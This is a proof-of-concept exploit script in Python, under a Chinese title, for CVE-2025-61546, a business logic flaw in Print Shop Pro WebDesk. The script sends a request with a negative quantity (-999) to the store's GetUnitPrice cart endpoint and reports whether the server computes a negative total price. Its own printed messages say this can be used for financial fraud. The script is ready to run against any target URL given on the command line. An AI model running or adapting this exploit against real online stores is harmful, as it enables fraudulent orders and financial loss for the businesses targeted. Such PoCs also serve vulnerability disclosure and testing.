CVE-2025-61546 Print Shop Pro WebDesk 负数量购买业务逻辑漏洞

#!/usr/bin/env python3 """ CVE-2025-61546 PoC - Print Shop Pro WebDesk Negative Quantity Bypass This PoC demonstrates the business logic vulnerability in GetUnitPrice endpoint where negative quantity values can be used to create financial discrepancies. """ import requests import json import sys def exploit_negative_quantity(target_url, product_id, negative_qty): """ Exploit the negative quantity vulnerability in Print Shop Pro WebDesk Args: target_url: Base URL of the vulnerable application product_id: ID of the product to purchase negative_qty: Negative quantity to send (e.g., -999) Returns: dict: Response from the server """ endpoint = f"{target_url}/PSP/appNET/Store/CartV12.aspx/GetUnitPrice" # Construct the malicious payload with negative quantity payload = { "productId": product_id, "quantity": negative_qty, # Negative value to exploit "unitPrice": 100.00 # Normal unit price } headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)", "X-Requested-With": "XMLHttpRequest" } print(f"[*] Target: {endpoint}") print(f"[*] Sending malicious request with quantity={negative_qty}") try: response = requests.post(endpoint, json=payload, headers=headers, timeout=10) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text}") if response.status_code == 200: data = response.json() if 'd' in data: result = data['d'] if isinstance(result, dict) and 'TotalPrice' in result: total_price = result['TotalPrice'] if total_price < 0: print(f"[!] VULNERABLE: Negative price calculated: {total_price}") print("[!] This can be used for financial fraud!") return {"vulnerable": True, "total_price": total_price} return {"vulnerable": False} except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return {"error": str(e)} if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve-2025-61546_poc.py <target_url> <product_id>") print("Example: python cve-2025-61546_poc.py http://vulnerable-server.com 12345") sys.exit(1) target = sys.argv[1] product = sys.argv[2] # Test with a negative quantity value result = exploit_negative_quantity(target, product, -999) if result.get('vulnerable'): print("\n[+] Vulnerability confirmed!") print(f"[+] Attacker can create order with total price: {result['total_price']}")